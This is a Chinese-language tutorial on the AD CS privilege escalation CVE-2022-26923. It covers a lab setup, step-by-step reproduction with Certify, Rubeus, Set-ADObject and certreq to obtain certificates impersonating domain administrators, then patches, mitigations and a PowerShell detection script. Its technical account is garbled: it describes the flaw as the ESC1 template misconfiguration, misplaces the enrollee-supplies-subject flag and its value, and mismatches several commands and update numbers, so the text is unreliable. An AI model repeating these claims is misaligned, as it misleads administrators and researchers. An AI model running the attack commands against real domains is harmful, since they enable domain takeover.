域内权限提升新姿势:CVE-2022–26923漏洞分析及复现
字数 1752 2025-08-07 00:35:04
域内权限提升漏洞CVE-2022-26923分析与复现指南
1. 漏洞概述
CVE-2022-26923是微软Active Directory证书服务(AD CS)中的一个权限提升漏洞,由研究员Oliver Lyak发现并报告。该漏洞允许低权限域用户通过操纵证书模板属性,获取域管理员权限,从而完全控制整个Active Directory域。
漏洞影响:
- 影响组件:Active Directory证书服务(AD CS)
- 影响版本:所有Windows Server版本(在2022年5月补丁前)
- CVSS评分:8.8(高危)
- 利用前提:域内普通用户权限
2. 漏洞原理分析
2.1 AD CS工作机制
AD CS是微软的公钥基础设施(PKI)实现,用于颁发和管理数字证书。关键组件包括:
- 证书颁发机构(CA):负责颁发证书
- 证书模板:定义证书属性和颁发规则
- 证书注册服务:处理证书请求
2.2 漏洞根源
漏洞存在于AD CS对证书模板中msPKI-Certificate-Name-Flag属性的验证机制。攻击者可以:
- 修改证书模板的
mspki-enrollment-flag属性,设置CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志 - 在证书请求中指定任意Subject Alternative Name (SAN)
- 通过精心构造的SAN欺骗AD CS,使其误认为请求来自高权限账户(如域管理员)
2.3 技术细节
关键点在于:
- AD CS默认不验证请求者是否有权使用指定的SAN
- 当
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT启用时,请求者可完全控制SAN - 结合
ESC1漏洞模式(证书模板允许客户端认证且允许低权限用户注册)
3. 环境搭建
3.1 实验环境要求
- 域控制器:Windows Server 2016/2019
- 成员服务器:安装AD CS服务
- 客户端:Windows 10/11加入域
- 域用户:至少一个普通域用户账户
3.2 AD CS安装步骤
- 在成员服务器上添加"Active Directory证书服务"角色
- 选择"证书颁发机构"和"证书颁发机构Web注册"功能
- 配置为企业CA(非独立CA)
- 设置CA名称和有效期
- 完成安装后,发布证书模板
4. 漏洞复现
4.1 前期准备
-
确认域环境:
whoami /all nltest /domain_trusts -
枚举证书模板(使用PowerShell):
Get-ADObject -SearchBase (Get-ADRootDSE).ConfigurationNamingContext -LDAPFilter "(objectClass=pkicertificatetemplate)" -
查找可利用的模板(具有以下属性):
mspki-enrollment-flag包含CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT- 启用客户端认证
- 低权限用户可注册
4.2 利用步骤
方法一:使用Certify工具
-
下载并编译Certify:
git clone https://github.com/GhostPack/Certify -
枚举证书模板:
.\Certify.exe find /vulnerable -
请求恶意证书:
.\Certify.exe request /ca:"dc01\domain-DC01-CA" /template:"VulnerableTemplate" /altname:"domain\Domain Admins" -
使用Rubeus请求TGT:
.\Rubeus.exe asktgt /user:"Domain Admins" /certificate:base64encodedcert /ptt
方法二:手动操作
-
使用PowerShell AD模块修改模板:
$template = Get-ADObject -SearchBase (Get-ADRootDSE).ConfigurationNamingContext -LDAPFilter "(name=VulnerableTemplate)" Set-ADObject -Identity $template.DistinguishedName -Replace @{'mspki-enrollment-flag'=0x20} -
使用certreq.exe请求证书:
certreq -attrib "SAN:upn=domainadmin@domain.com" -submit .\request.inf .\cert.cer -
转换证书格式并请求TGT(同方法一)
5. 防御措施
5.1 官方补丁
安装微软2022年5月安全更新:
- KB5014754 - Windows Server 2012 R2
- KB5014746 - Windows Server 2016
- KB5014655 - Windows Server 2019/2022
5.2 缓解措施
-
禁用易受攻击的证书模板
-
限制证书模板的注册权限:
Disable-CertificateTemplate -Name "VulnerableTemplate" -
启用证书请求审核:
certutil -setreg CA\AuditFilter 127 -
实施证书模板强化:
- 移除不必要的
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志 - 限制低权限用户的注册权限
- 为敏感模板启用CA证书管理器批准
- 移除不必要的
6. 检测方法
6.1 SIEM规则
监控以下事件:
- 4768: Kerberos认证(TGT请求)使用证书
- 4886: 证书请求包含异常SAN
- 4887: 证书服务模板修改
6.2 PowerShell检测脚本
# 检测易受攻击的证书模板
$templates = Get-ADObject -SearchBase (Get-ADRootDSE).ConfigurationNamingContext -LDAPFilter "(objectClass=pkicertificatetemplate)"
foreach($template in $templates) {
$flags = [int]$template.'mspki-enrollment-flag'
if(($flags -band 0x20) -eq 0x20) {
Write-Warning "潜在易受攻击模板: $($template.Name)"
}
}
7. 总结
CVE-2022-26923是一个严重的域内权限提升漏洞,攻击者可以从普通域用户提升到域管理员权限。该漏洞利用AD CS组件中的证书模板配置缺陷,结合精心构造的证书请求实现权限提升。企业应及时应用补丁并审查证书模板配置,特别是那些允许用户提供主题名称的模板。